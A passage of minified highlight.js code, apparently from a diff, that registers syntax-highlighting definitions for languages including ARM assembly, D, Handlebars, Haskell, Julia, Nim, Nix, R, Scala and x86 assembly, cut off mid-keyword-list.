]+\\n?)*"},{begin:"<%[%=-]?",end:"[%-]?%>",subLanguage:"ruby",excludeBegin:!0,excludeEnd:!0,relevance:0},{className:"type",begin:"!\\w+!"+a},{className:"type",begin:"!<"+a+">"},{className:"type",begin:"!"+a},{className:"type",begin:"!!"+a},{className:"meta",begin:"&"+e.UNDERSCORE_IDENT_RE+"$"},{className:"meta",begin:"\\*"+e.UNDERSCORE_IDENT_RE+"$"},{className:"bullet",begin:"\\-(?=[ ]|$)",relevance:0},e.HASH_COMMENT_MODE,{beginKeywords:n,keywords:{literal:n}},{className:"number",begin:"\\b[0-9]{4}(-[0-9][0-9]){0,2}([Tt \\t][0-9][0-9]?(:[0-9][0-9]){2})?(\\.[0-9]*)?([ \\t])*(Z|[-+][0-9][0-9]?(:[0-9][0-9])?)?\\b"},{className:"number",begin:e.C_NUMBER_RE+"\\b"},t,g,s],c=[...b];return c.pop(),c.push(i),l.contains=c,{name:"YAML",case_insensitive:!0,aliases:["yml","YAML"],contains:b}}}());
+hljs.registerLanguage("armasm",function(){"use strict";return function(s){const e={variants:[s.COMMENT("^[ \\t]*(?=#)","$",{relevance:0,excludeBegin:!0}),s.COMMENT("[;@]","$",{relevance:0}),s.C_LINE_COMMENT_MODE,s.C_BLOCK_COMMENT_MODE]};return{name:"ARM Assembly",case_insensitive:!0,aliases:["arm"],keywords:{$pattern:"\\.?"+s.IDENT_RE,meta:".2byte .4byte .align .ascii .asciz .balign .byte .code .data .else .end .endif .endm .endr .equ .err .exitm .extern .global .hword .if .ifdef .ifndef .include .irp .long .macro .rept .req .section .set .skip .space .text .word .arm .thumb .code16 .code32 .force_thumb .thumb_func .ltorg ALIAS ALIGN ARM AREA ASSERT ATTR CN CODE CODE16 CODE32 COMMON CP DATA DCB DCD DCDU DCDO DCFD DCFDU DCI DCQ DCQU DCW DCWU DN ELIF ELSE END ENDFUNC ENDIF ENDP ENTRY EQU EXPORT EXPORTAS EXTERN FIELD FILL FUNCTION GBLA GBLL GBLS GET GLOBAL IF IMPORT INCBIN INCLUDE INFO KEEP LCLA LCLL LCLS LTORG MACRO MAP MEND MEXIT NOFP OPT PRESERVE8 PROC QN READONLY RELOC REQUIRE REQUIRE8 RLIST FN ROUT SETA SETL SETS SN SPACE SUBT THUMB THUMBX TTL WHILE WEND ",built_in:"r0 r1 r2 r3 r4 r5 r6 r7 r8 r9 r10 r11 r12 r13 r14 r15 pc lr sp ip sl sb fp a1 a2 a3 a4 v1 v2 v3 v4 v5 v6 v7 v8 f0 f1 f2 f3 f4 f5 f6 f7 p0 p1 p2 p3 p4 p5 p6 p7 p8 p9 p10 p11 p12 p13 p14 p15 c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 c10 c11 c12 c13 c14 c15 q0 q1 q2 q3 q4 q5 q6 q7 q8 q9 q10 q11 q12 q13 q14 q15 cpsr_c cpsr_x cpsr_s cpsr_f cpsr_cx cpsr_cxs cpsr_xs cpsr_xsf cpsr_sf cpsr_cxsf spsr_c spsr_x spsr_s spsr_f spsr_cx spsr_cxs spsr_xs spsr_xsf spsr_sf spsr_cxsf s0 s1 s2 s3 s4 s5 s6 s7 s8 s9 s10 s11 s12 s13 s14 s15 s16 s17 s18 s19 s20 s21 s22 s23 s24 s25 s26 s27 s28 s29 s30 s31 d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 d10 d11 d12 d13 d14 d15 d16 d17 d18 d19 d20 d21 d22 d23 d24 d25 d26 d27 d28 d29 d30 d31 {PC} {VAR} {TRUE} {FALSE} {OPT} {CONFIG} {ENDIAN} {CODESIZE} {CPU} {FPU} {ARCHITECTURE} {PCSTOREOFFSET} {ARMASM_VERSION} {INTER} {ROPI} {RWPI} {SWST} {NOSWST} . @"},contains:[{className:"keyword",begin:"\\b(adc|(qd?|sh?|u[qh]?)?add(8|16)?|usada?8|(q|sh?|u[qh]?)?(as|sa)x|and|adrl?|sbc|rs[bc]|asr|b[lx]?|blx|bxj|cbn?z|tb[bh]|bic|bfc|bfi|[su]bfx|bkpt|cdp2?|clz|clrex|cmp|cmn|cpsi[ed]|cps|setend|dbg|dmb|dsb|eor|isb|it[te]{0,3}|lsl|lsr|ror|rrx|ldm(([id][ab])|f[ds])?|ldr((s|ex)?[bhd])?|movt?|mvn|mra|mar|mul|[us]mull|smul[bwt][bt]|smu[as]d|smmul|smmla|mla|umlaal|smlal?([wbt][bt]|d)|mls|smlsl?[ds]|smc|svc|sev|mia([bt]{2}|ph)?|mrr?c2?|mcrr2?|mrs|msr|orr|orn|pkh(tb|bt)|rbit|rev(16|sh)?|sel|[su]sat(16)?|nop|pop|push|rfe([id][ab])?|stm([id][ab])?|str(ex)?[bhd]?|(qd?)?sub|(sh?|q|u[qh]?)?sub(8|16)|[su]xt(a?h|a?b(16)?)|srs([id][ab])?|swpb?|swi|smi|tst|teq|wfe|wfi|yield)(eq|ne|cs|cc|mi|pl|vs|vc|hi|ls|ge|lt|gt|le|al|hs|lo)?[sptrx]?(?=\\s)"},e,s.QUOTE_STRING_MODE,{className:"string",begin:"'",end:"[^\\\\]'",relevance:0},{className:"title",begin:"\\|",end:"\\|",illegal:"\\n",relevance:0},{className:"number",variants:[{begin:"[#$=]?0x[0-9a-f]+"},{begin:"[#$=]?0b[01]+"},{begin:"[#$=]\\d+"},{begin:"\\b\\d+"}],relevance:0},{className:"symbol",variants:[{begin:"^[ \\t]*[a-z_\\.\\$][a-z0-9_\\.\\$]+:"},{begin:"^[a-z_\\.\\$][a-z0-9_\\.\\$]+"},{begin:"[=#]\\w+"}],relevance:0}]}}}());
+hljs.registerLanguage("d",function(){"use strict";return function(e){var a={$pattern:e.UNDERSCORE_IDENT_RE,keyword:"abstract alias align asm assert auto body break byte case cast catch class const continue debug default delete deprecated do else enum export extern final finally for foreach foreach_reverse|10 goto if immutable import in inout int interface invariant is lazy macro mixin module new nothrow out override package pragma private protected public pure ref return scope shared static struct super switch synchronized template this throw try typedef typeid typeof union unittest version void volatile while with __FILE__ __LINE__ __gshared|10 __thread __traits __DATE__ __EOF__ __TIME__ __TIMESTAMP__ __VENDOR__ __VERSION__",built_in:"bool cdouble cent cfloat char creal dchar delegate double dstring float function idouble ifloat ireal long real short string ubyte ucent uint ulong ushort wchar wstring",literal:"false null true"},d="((0|[1-9][\\d_]*)|0[bB][01_]+|0[xX]([\\da-fA-F][\\da-fA-F_]*|_[\\da-fA-F][\\da-fA-F_]*))",n="\\\\(['\"\\?\\\\abfnrtv]|u[\\dA-Fa-f]{4}|[0-7]{1,3}|x[\\dA-Fa-f]{2}|U[\\dA-Fa-f]{8})|&[a-zA-Z\\d]{2,};",t={className:"number",begin:"\\b"+d+"(L|u|U|Lu|LU|uL|UL)?",relevance:0},_={className:"number",begin:"\\b(((0[xX](([\\da-fA-F][\\da-fA-F_]*|_[\\da-fA-F][\\da-fA-F_]*)\\.([\\da-fA-F][\\da-fA-F_]*|_[\\da-fA-F][\\da-fA-F_]*)|\\.?([\\da-fA-F][\\da-fA-F_]*|_[\\da-fA-F][\\da-fA-F_]*))[pP][+-]?(0|[1-9][\\d_]*|\\d[\\d_]*|[\\d_]+?\\d))|((0|[1-9][\\d_]*|\\d[\\d_]*|[\\d_]+?\\d)(\\.\\d*|([eE][+-]?(0|[1-9][\\d_]*|\\d[\\d_]*|[\\d_]+?\\d)))|\\d+\\.(0|[1-9][\\d_]*|\\d[\\d_]*|[\\d_]+?\\d)(0|[1-9][\\d_]*|\\d[\\d_]*|[\\d_]+?\\d)|\\.(0|[1-9][\\d_]*)([eE][+-]?(0|[1-9][\\d_]*|\\d[\\d_]*|[\\d_]+?\\d))?))([fF]|L|i|[fF]i|Li)?|"+d+"(i|[fF]i|Li))",relevance:0},r={className:"string",begin:"'("+n+"|.)",end:"'",illegal:"."},i={className:"string",begin:'"',contains:[{begin:n,relevance:0}],end:'"[cwd]?'},s=e.COMMENT("\\/\\+","\\+\\/",{contains:["self"],relevance:10});return{name:"D",keywords:a,contains:[e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,s,{className:"string",begin:'x"[\\da-fA-F\\s\\n\\r]*"[cwd]?',relevance:10},i,{className:"string",begin:'[rq]"',end:'"[cwd]?',relevance:5},{className:"string",begin:"`",end:"`[cwd]?"},{className:"string",begin:'q"\\{',end:'\\}"'},_,t,r,{className:"meta",begin:"^#!",end:"$",relevance:5},{className:"meta",begin:"#(line)",end:"$",relevance:5},{className:"keyword",begin:"@[a-zA-Z_][a-zA-Z_\\d]*"}]}}}());
+hljs.registerLanguage("handlebars",function(){"use strict";function e(...e){return e.map(e=>(function(e){return e?"string"==typeof e?e:e.source:null})(e)).join("")}return function(n){const a={"builtin-name":"action bindattr collection component concat debugger each each-in get hash if in input link-to loc log lookup mut outlet partial query-params render template textarea unbound unless view with yield"},t=/\[.*?\]/,s=/[^\s!"#%&'()*+,.\/;<=>@\[\\\]^`{|}~]+/,i=e("(",/'.*?'/,"|",/".*?"/,"|",t,"|",s,"|",/\.|\//,")+"),r=e("(",t,"|",s,")(?==)"),l={begin:i,lexemes:/[\w.\/]+/},c=n.inherit(l,{keywords:{literal:"true false undefined null"}}),o={begin:/\(/,end:/\)/},m={className:"attr",begin:r,relevance:0,starts:{begin:/=/,end:/=/,starts:{contains:[n.NUMBER_MODE,n.QUOTE_STRING_MODE,n.APOS_STRING_MODE,c,o]}}},d={contains:[n.NUMBER_MODE,n.QUOTE_STRING_MODE,n.APOS_STRING_MODE,{begin:/as\s+\|/,keywords:{keyword:"as"},end:/\|/,contains:[{begin:/\w+/}]},m,c,o],returnEnd:!0},g=n.inherit(l,{className:"name",keywords:a,starts:n.inherit(d,{end:/\)/})});o.contains=[g];const u=n.inherit(l,{keywords:a,className:"name",starts:n.inherit(d,{end:/}}/})}),b=n.inherit(l,{keywords:a,className:"name"}),h=n.inherit(l,{className:"name",keywords:a,starts:n.inherit(d,{end:/}}/})});return{name:"Handlebars",aliases:["hbs","html.hbs","html.handlebars","htmlbars"],case_insensitive:!0,subLanguage:"xml",contains:[{begin:/\\\{\{/,skip:!0},{begin:/\\\\(?=\{\{)/,skip:!0},n.COMMENT(/\{\{!--/,/--\}\}/),n.COMMENT(/\{\{!/,/\}\}/),{className:"template-tag",begin:/\{\{\{\{(?!\/)/,end:/\}\}\}\}/,contains:[u],starts:{end:/\{\{\{\{\//,returnEnd:!0,subLanguage:"xml"}},{className:"template-tag",begin:/\{\{\{\{\//,end:/\}\}\}\}/,contains:[b]},{className:"template-tag",begin:/\{\{#/,end:/\}\}/,contains:[u]},{className:"template-tag",begin:/\{\{(?=else\}\})/,end:/\}\}/,keywords:"else"},{className:"template-tag",begin:/\{\{\//,end:/\}\}/,contains:[b]},{className:"template-variable",begin:/\{\{\{/,end:/\}\}\}/,contains:[h]},{className:"template-variable",begin:/\{\{/,end:/\}\}/,contains:[h]}]}}}());
+hljs.registerLanguage("haskell",function(){"use strict";return function(e){var n={variants:[e.COMMENT("--","$"),e.COMMENT("{-","-}",{contains:["self"]})]},i={className:"meta",begin:"{-#",end:"#-}"},a={className:"meta",begin:"^#",end:"$"},s={className:"type",begin:"\\b[A-Z][\\w']*",relevance:0},l={begin:"\\(",end:"\\)",illegal:'"',contains:[i,a,{className:"type",begin:"\\b[A-Z][\\w]*(\\((\\.\\.|,|\\w+)\\))?"},e.inherit(e.TITLE_MODE,{begin:"[_a-z][\\w']*"}),n]};return{name:"Haskell",aliases:["hs"],keywords:"let in if then else case of where do module import hiding qualified type data newtype deriving class instance as default infix infixl infixr foreign export ccall stdcall cplusplus jvm dotnet safe unsafe family forall mdo proc rec",contains:[{beginKeywords:"module",end:"where",keywords:"module where",contains:[l,n],illegal:"\\W\\.|;"},{begin:"\\bimport\\b",end:"$",keywords:"import qualified as hiding",contains:[l,n],illegal:"\\W\\.|;"},{className:"class",begin:"^(\\s*)?(class|instance)\\b",end:"where",keywords:"class family instance where",contains:[s,l,n]},{className:"class",begin:"\\b(data|(new)?type)\\b",end:"$",keywords:"data family type newtype deriving",contains:[i,s,l,{begin:"{",end:"}",contains:l.contains},n]},{beginKeywords:"default",end:"$",contains:[s,l,n]},{beginKeywords:"infix infixl infixr",end:"$",contains:[e.C_NUMBER_MODE,n]},{begin:"\\bforeign\\b",end:"$",keywords:"foreign import export ccall stdcall cplusplus jvm dotnet safe unsafe",contains:[s,e.QUOTE_STRING_MODE,n]},{className:"meta",begin:"#!\\/usr\\/bin\\/env runhaskell",end:"$"},i,a,e.QUOTE_STRING_MODE,e.C_NUMBER_MODE,s,e.inherit(e.TITLE_MODE,{begin:"^[_a-z][\\w']*"}),n,{begin:"->|<-"}]}}}());
+hljs.registerLanguage("julia",function(){"use strict";return function(e){var r="[A-Za-z_\\u00A1-\\uFFFF][A-Za-z_0-9\\u00A1-\\uFFFF]*",t={$pattern:r,keyword:"in isa where baremodule begin break catch ccall const continue do else elseif end export false finally for function global if import importall let local macro module quote return true try using while type immutable abstract bitstype typealias ",literal:"true false ARGS C_NULL DevNull ENDIAN_BOM ENV I Inf Inf16 Inf32 Inf64 InsertionSort JULIA_HOME LOAD_PATH MergeSort NaN NaN16 NaN32 NaN64 PROGRAM_FILE QuickSort RoundDown RoundFromZero RoundNearest RoundNearestTiesAway RoundNearestTiesUp RoundToZero RoundUp STDERR STDIN STDOUT VERSION catalan e|0 eu|0 eulergamma golden im nothing pi γ π φ ",built_in:"ANY AbstractArray AbstractChannel AbstractFloat AbstractMatrix AbstractRNG AbstractSerializer AbstractSet AbstractSparseArray AbstractSparseMatrix AbstractSparseVector AbstractString AbstractUnitRange AbstractVecOrMat AbstractVector Any ArgumentError Array AssertionError Associative Base64DecodePipe Base64EncodePipe Bidiagonal BigFloat BigInt BitArray BitMatrix BitVector Bool BoundsError BufferStream CachingPool CapturedException CartesianIndex CartesianRange Cchar Cdouble Cfloat Channel Char Cint Cintmax_t Clong Clonglong ClusterManager Cmd CodeInfo Colon Complex Complex128 Complex32 Complex64 CompositeException Condition ConjArray ConjMatrix ConjVector Cptrdiff_t Cshort Csize_t Cssize_t Cstring Cuchar Cuint Cuintmax_t Culong Culonglong Cushort Cwchar_t Cwstring DataType Date DateFormat DateTime DenseArray DenseMatrix DenseVecOrMat DenseVector Diagonal Dict DimensionMismatch Dims DirectIndexString Display DivideError DomainError EOFError EachLine Enum Enumerate ErrorException Exception ExponentialBackOff Expr Factorization FileMonitor Float16 Float32 Float64 Function Future GlobalRef GotoNode HTML Hermitian IO IOBuffer IOContext IOStream IPAddr IPv4 IPv6 IndexCartesian IndexLinear IndexStyle InexactError InitError Int Int128 Int16 Int32 Int64 Int8 IntSet Integer InterruptException InvalidStateException Irrational KeyError LabelNode LinSpace LineNumberNode LoadError LowerTriangular MIME Matrix MersenneTwister Method MethodError MethodTable Module NTuple NewvarNode NullException Nullable Number ObjectIdDict OrdinalRange OutOfMemoryError OverflowError Pair ParseError PartialQuickSort PermutedDimsArray Pipe PollingFileWatcher ProcessExitedException Ptr QuoteNode RandomDevice Range RangeIndex Rational RawFD ReadOnlyMemoryError Real ReentrantLock Ref Regex RegexMatch RemoteChannel RemoteException RevString RoundingMode RowVector SSAValue SegmentationFault SerializationState Set SharedArray SharedMatrix SharedVector Signed SimpleVector Slot SlotNumber SparseMatrixCSC SparseVector StackFrame StackOverflowError StackTrace StepRange StepRangeLen StridedArray StridedMatrix StridedVecOrMat StridedVector String SubArray SubString SymTridiagonal Symbol Symmetric SystemError TCPSocket Task Text TextDisplay Timer Tridiagonal Tuple Type TypeError TypeMapEntry TypeMapLevel TypeName TypeVar TypedSlot UDPSocket UInt UInt128 UInt16 UInt32 UInt64 UInt8 UndefRefError UndefVarError UnicodeError UniformScaling Union UnionAll UnitRange Unsigned UpperTriangular Val Vararg VecElement VecOrMat Vector VersionNumber Void WeakKeyDict WeakRef WorkerConfig WorkerPool "},a={keywords:t,illegal:/<\//},n={className:"subst",begin:/\$\(/,end:/\)/,keywords:t},o={className:"variable",begin:"\\$"+r},i={className:"string",contains:[e.BACKSLASH_ESCAPE,n,o],variants:[{begin:/\w*"""/,end:/"""\w*/,relevance:10},{begin:/\w*"/,end:/"\w*/}]},l={className:"string",contains:[e.BACKSLASH_ESCAPE,n,o],begin:"`",end:"`"},s={className:"meta",begin:"@"+r};return a.name="Julia",a.contains=[{className:"number",begin:/(\b0x[\d_]*(\.[\d_]*)?|0x\.\d[\d_]*)p[-+]?\d+|\b0[box][a-fA-F0-9][a-fA-F0-9_]*|(\b\d[\d_]*(\.[\d_]*)?|\.\d[\d_]*)([eEfF][-+]?\d+)?/,relevance:0},{className:"string",begin:/'(.|\\[xXuU][a-zA-Z0-9]+)'/},i,l,s,{className:"comment",variants:[{begin:"#=",end:"=#",relevance:10},{begin:"#",end:"$"}]},e.HASH_COMMENT_MODE,{className:"keyword",begin:"\\b(((abstract|primitive)\\s+)type|(mutable\\s+)?struct)\\b"},{begin:/<:/}],n.contains=a.contains,a}}());
+hljs.registerLanguage("nim",function(){"use strict";return function(e){return{name:"Nim",aliases:["nim"],keywords:{keyword:"addr and as asm bind block break case cast const continue converter discard distinct div do elif else end enum except export finally for from func generic if import in include interface is isnot iterator let macro method mixin mod nil not notin object of or out proc ptr raise ref return shl shr static template try tuple type using var when while with without xor yield",literal:"shared guarded stdin stdout stderr result true false",built_in:"int int8 int16 int32 int64 uint uint8 uint16 uint32 uint64 float float32 float64 bool char string cstring pointer expr stmt void auto any range array openarray varargs seq set clong culong cchar cschar cshort cint csize clonglong cfloat cdouble clongdouble cuchar cushort cuint culonglong cstringarray semistatic"},contains:[{className:"meta",begin:/{\./,end:/\.}/,relevance:10},{className:"string",begin:/[a-zA-Z]\w*"/,end:/"/,contains:[{begin:/""/}]},{className:"string",begin:/([a-zA-Z]\w*)?"""/,end:/"""/},e.QUOTE_STRING_MODE,{className:"type",begin:/\b[A-Z]\w+\b/,relevance:0},{className:"number",relevance:0,variants:[{begin:/\b(0[xX][0-9a-fA-F][_0-9a-fA-F]*)('?[iIuU](8|16|32|64))?/},{begin:/\b(0o[0-7][_0-7]*)('?[iIuUfF](8|16|32|64))?/},{begin:/\b(0(b|B)[01][_01]*)('?[iIuUfF](8|16|32|64))?/},{begin:/\b(\d[_\d]*)('?[iIuUfF](8|16|32|64))?/}]},e.HASH_COMMENT_MODE]}}}());
+hljs.registerLanguage("nix",function(){"use strict";return function(e){var n={keyword:"rec with let in inherit assert if else then",literal:"true false or and null",built_in:"import abort baseNameOf dirOf isNull builtins map removeAttrs throw toString derivation"},i={className:"subst",begin:/\$\{/,end:/}/,keywords:n},t={className:"string",contains:[i],variants:[{begin:"''",end:"''"},{begin:'"',end:'"'}]},s=[e.NUMBER_MODE,e.HASH_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,t,{begin:/[a-zA-Z0-9-_]+(\s*=)/,returnBegin:!0,relevance:0,contains:[{className:"attr",begin:/\S+/}]}];return i.contains=s,{name:"Nix",aliases:["nixos"],keywords:n,contains:s}}}());
+hljs.registerLanguage("r",function(){"use strict";return function(e){var n="([a-zA-Z]|\\.[a-zA-Z.])[a-zA-Z0-9._]*";return{name:"R",contains:[e.HASH_COMMENT_MODE,{begin:n,keywords:{$pattern:n,keyword:"function if in break next repeat else for return switch while try tryCatch stop warning require library attach detach source setMethod setGeneric setGroupGeneric setClass ...",literal:"NULL NA TRUE FALSE T F Inf NaN NA_integer_|10 NA_real_|10 NA_character_|10 NA_complex_|10"},relevance:0},{className:"number",begin:"0[xX][0-9a-fA-F]+[Li]?\\b",relevance:0},{className:"number",begin:"\\d+(?:[eE][+\\-]?\\d*)?L\\b",relevance:0},{className:"number",begin:"\\d+\\.(?!\\d)(?:i\\b)?",relevance:0},{className:"number",begin:"\\d+(?:\\.\\d*)?(?:[eE][+\\-]?\\d*)?i?\\b",relevance:0},{className:"number",begin:"\\.\\d+(?:[eE][+\\-]?\\d*)?i?\\b",relevance:0},{begin:"`",end:"`",relevance:0},{className:"string",contains:[e.BACKSLASH_ESCAPE],variants:[{begin:'"',end:'"'},{begin:"'",end:"'"}]}]}}}());
+hljs.registerLanguage("scala",function(){"use strict";return function(e){var n={className:"subst",variants:[{begin:"\\$[A-Za-z0-9_]+"},{begin:"\\${",end:"}"}]},a={className:"string",variants:[{begin:'"',end:'"',illegal:"\\n",contains:[e.BACKSLASH_ESCAPE]},{begin:'"""',end:'"""',relevance:10},{begin:'[a-z]+"',end:'"',illegal:"\\n",contains:[e.BACKSLASH_ESCAPE,n]},{className:"string",begin:'[a-z]+"""',end:'"""',contains:[n],relevance:10}]},s={className:"type",begin:"\\b[A-Z][A-Za-z0-9_]*",relevance:0},t={className:"title",begin:/[^0-9\n\t "'(),.`{}\[\]:;][^\n\t "'(),.`{}\[\]:;]+|[^0-9\n\t "'(),.`{}\[\]:;=]/,relevance:0},i={className:"class",beginKeywords:"class object trait type",end:/[:={\[\n;]/,excludeEnd:!0,contains:[{beginKeywords:"extends with",relevance:10},{begin:/\[/,end:/\]/,excludeBegin:!0,excludeEnd:!0,relevance:0,contains:[s]},{className:"params",begin:/\(/,end:/\)/,excludeBegin:!0,excludeEnd:!0,relevance:0,contains:[s]},t]},l={className:"function",beginKeywords:"def",end:/[:={\[(\n;]/,excludeEnd:!0,contains:[t]};return{name:"Scala",keywords:{literal:"true false null",keyword:"type yield lazy override def with val var sealed abstract private trait object if forSome for while throw finally protected extends import final return else break new catch super class case package default try this match continue throws implicit"},contains:[e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,a,{className:"symbol",begin:"'\\w[\\w\\d_]*(?!')"},s,l,i,e.C_NUMBER_MODE,{className:"meta",begin:"@[A-Za-z]+"}]}}}());
+hljs.registerLanguage("x86asm",function(){"use strict";return function(s){return{name:"Intel x86 Assembly",case_insensitive:!0,keywords:{$pattern:"[.%]?"+s.IDENT_RE,keyword:"lock rep repe repz repne repnz xaquire xrelease bnd nobnd aaa aad aam aas adc add and arpl bb0_reset bb1_reset bound bsf bsr bswap bt btc btr bts call cbw cdq cdqe clc cld cli clts cmc cmp cmpsb cmpsd cmpsq cmpsw cmpxchg cmpxchg486 cmpxchg8b cmpxchg16b cpuid cpu_read cpu_write cqo cwd cwde daa das dec div dmint emms enter equ f2xm1 fabs fadd faddp fbld fbstp fchs fclex fcmovb fcmovbe fcmove fcmovnb fcmovnbe fcmovne fcmovnu fcmovu fcom fcomi fcomip fcomp fcompp fcos fdecstp fdisi fdiv fdivp fdivr fdivrp femms feni ffree ffreep fiadd ficom ficomp fidiv fidivr fild fimul fincstp finit fist fistp fisttp fisub fisubr fld fld1 fldcw fldenv fldl2e fldl2t fldlg2 fldln2 fldpi fldz fmul fmulp fnclex fndisi fneni fninit fnop fnsave fnstcw fnstenv fnstsw fpatan fprem fprem1 fptan frndint frstor fsave fscale fsetpm fsin fsincos fsqrt fst fstcw fstenv fstp fstsw fsub fsubp fsubr fsubrp ftst fucom fucomi fucomip fucomp fucompp fxam fxch fxtract fyl2x fyl2xp1 hlt ibts icebp idiv imul in inc incbin insb insd insw int int01 int1 int03 int3 into invd invpcid invlpg invlpga iret iretd iretq iretw jcxz jecxz jrcxz jmp jmpe lahf lar lds lea leave les lfence lfs lgdt lgs lidt lldt lmsw loadall loadall286 lodsb lodsd lodsq lodsw loop loope loopne loopnz loopz lsl lss ltr mfence monitor mov movd movq movsb movsd movsq movsw movsx movsxd movzx mul mwait neg nop not or out outsb outsd outsw packssdw packsswb packuswb paddb paddd paddsb paddsiw paddsw paddusb paddusw paddw pand pandn pause paveb pavgusb pcmpeqb pcmpeqd pcmpeqw pcmpgtb pcmpgtd pcmpgtw pdistib pf2id pfacc pfadd pfcmpeq pfcmpge pfcmpgt pfmax pfmin pfmul pfrcp pfrcpit1 pfrcpit2 pfrsqit1 pfrsqrt pfsub pfsubr pi2fd pmachriw pmaddwd pmagw pmulhriw pmulhrwa pmulhrwc pmulhw pmullw pmvgezb pmvlzb pmvnzb pmvzb pop popa popad popaw popf popfd popfq popfw por prefetch prefetchw pslld psllq psllw psrad psraw psrld psrlq psrlw psubb psubd psubsb psubsiw psubsw psubusb psubusw psubw punpckhbw punpckhdq punpckhwd punpcklbw punpckldq punpcklwd push pusha pushad pushaw pushf pushfd pushfq pushfw pxor rcl rcr rdshr rdmsr rdpmc rdtsc rdtscp ret retf retn rol ror rdm rsdc rsldt rsm rsts sahf sal salc sar sbb scasb scasd scasq scasw sfence sgdt shl shld shr shrd sidt sldt skinit smi smint smintold smsw stc std sti stosb stosd stosq stosw str sub svdc svldt svts swapgs syscall sysenter sysexit sysret test ud0 ud1 ud2b ud2 ud2a umov verr verw fwait wbinvd wrshr wrmsr xadd xbts xchg xlatb xlat xor cmove cmovz cmovne cmovnz cmova cmovnbe cmovae cmovnb cmovb cmovnae cmovbe cmovna cmovg cmovnle cmovge cmovnl cmovl cmovnge cmovle cmovng cmovc cmovnc cmovo cmovno cmovs cmovns cmovp cmovpe cmovnp cmovpo je jz jne jnz ja jnbe jae jnb jb jnae jbe jna jg jnle jge jnl jl jnge jle jng jc jnc jo jno js jns jpo jnp jpe jp sete setz setne setnz seta setnbe setae setnb setnc setb setnae setcset setbe setna setg setnle setge setnl setl setnge setle setng sets setns seto setno setpe setp setpo setnp addps addss andnps andps cmpeqps cmpeqss cmpleps cmpless cmpltps cmpltss cmpneqps cmpneqss cmpnleps cmpnless cmpnltps cmpnltss cmpordps cmpordss cmpunordps cmpunordss cmpps cmpss comiss cvtpi2ps cvtps2pi cvtsi2ss cvtss2si cvttps2pi cvttss2si divps divss ldmxcsr maxps maxss minps minss movaps movhps movlhps movlps movhlps movmskps movntps movss movups mulps mulss orps rcpps rcpss rsqrtps rsqrtss shufps sqrtps sqrtss stmxcsr subps subss ucomiss unpckhps unpcklps xorps fxrstor fxrstor64 fxsave fxsave64 xgetbv xsetbv xsave xsave64 xsaveopt xsaveopt64 xrstor xrstor64 prefetchnta prefetcht0 prefetcht1 prefetcht2 maskmovq movntq pavgb pavgw pextrw pinsrw pmaxsw pmaxub pminsw pminub pmovmskb pmulhuw psadbw pshufw pf2iw pfnacc pfpnacc pi2fw pswapd maskmovdqu clflush movntdq movnti movntpd movdqa movdqu movdq2q movq2dq paddq pmuludq pshufd pshufhw pshuflw pslldq psrldq psubq punpckhqdq punpcklqdq addpd addsd andnpd andpd cmpeqpd cmpeqsd cmplepd cmplesd cmpltpd cmpltsd cmpneqpd cmpneqsd cmpnlepd cmpnlesd cmpnltpd cmpnltsd cmpordpd cmpordsd cmpunordpd cmpunordsd cmppd comisd cvtdq2pd cvtdq2ps cvtpd2dq cvtpd2pi cvtpd2ps cvtpi2pd cvtps2dq cvtps2pd cvtsd2si cvtsd2ss cvtsi2sd cvtss2sd cvttpd2pi cvttpd2dq cvttps2dq cvttsd2si divpd divsd maxpd maxsd minpd minsd movapd movhpd movlpd movmskpd movupd mulpd mulsd orpd shufpd sqrtpd sqrtsd subpd subsd ucomisd unpckhpd unpcklpd xorpd addsubpd addsubps haddpd haddps hsubpd hsubps lddqu movddup movshdup movsldup clgi stgi vmcall vmclear vmfunc vmlaunch vmload vmmcall vmptrld vmptrst vmread vmresume vmrun vmsave vmwrite vmxoff vmxon invept invvpid pabsb pabsw pabsd palignr phaddw phaddd phaddsw phsubw phsubd phsubsw pmaddubsw pmulhrsw pshufb psignb psignw psignd extrq insertq movntsd movntss lzcnt blendpd blendps blendvpd blendvps dppd dpps extractps insertps movntdqa mpsadbw packusdw pblendvb pblendw pcmpeqq pextrb pextrd pextrq phminposuw pinsrb pinsrd pinsrq pmaxsb pmaxsd pmaxud pmaxuw pminsb pminsd pminud pminuw pmovsxbw pmovsxbd pmovsxbq pmovsxwd pmovsxwq pmovsxdq pmovzxbw pmovzxbd pmovzxbq pmovzxwd pmovzxwq pmovzxdq pmuldq pmulld ptest roundpd roundps roundsd roundss crc32 pcmpestri pcmpestrm pcmpistri pcmpistrm pcmpgtq popcnt getsec pfrcpv pfrsqrtv movbe aesenc aesenclast aesdec aesdeclast aesimc aeskeygenassist vaesenc vaesenclast vaesdec vaesdeclast vaesimc vaeskeygenassist vaddpd vaddps vaddsd vaddss vaddsubpd vaddsubps vandpd vandps vandnpd vandnps vblendpd vblendps vblendvpd vblendvps vbroadcastss vbroadcastsd vbroadcastf128 vcmpeq_ospd vcmpeqpd vcmplt_ospd vcmpltpd vcmple_ospd vcmplepd vcmpunord_qpd vcmpunordpd vcmpneq_uqpd vcmpneqpd vcmpnlt_uspd vcmpnltpd vcmpnle_uspd vcmpnlepd vcmpord_qpd vcmpordpd vcmpeq_uqpd vcmpnge_uspd vcmpngepd vcmpngt_uspd vcmpngtpd vcmpfalse_oqpd vcmpfalsepd vcmpneq_oqpd vcmpge_ospd vcmpgepd vcmpgt_ospd vcmpgtpd vcmptrue_uqpd vcmptruepd vcmplt_oqpd vcmple_oqpd vcmpunord_spd vcmpneq_uspd vcmpnlt_uqpd vcmpnle_uqpd vcmpord_spd vcmpeq_uspd vcmpnge_uqpd vcmpngt_uqpd vcmpfalse_ospd vcmpneq_ospd vcmpge_oqpd vcmpgt_oqpd vcmptrue_uspd vcmppd vcmpeq_osps vcmpeqps vcmplt_osps vcmpltps vcmple_osps vcmpleps vcmpunord_qps vcmpunordps vcmpneq_uqps vcmpneqps vcmpnlt_usps vcmpnltps vcmpnle_usps vcmpnleps vcmpord_qps vcmpordps vcmpeq_uqps vcmpnge_usps vcmpngeps vcmpngt_usps vcmpngtps vcmpfalse_oqps vcmpfalseps vcmpneq_oqps vcmpge_osps vcmpgeps vcmpgt_osps vcmpgtps vcmptrue_uqps vcmptrueps vcmplt_oqps vcmple_oqps vcmpunord_sps vcmpneq_usps vcmpnlt_uqps vcmpnle_uqps vcmpord_sps vcmpeq_usps 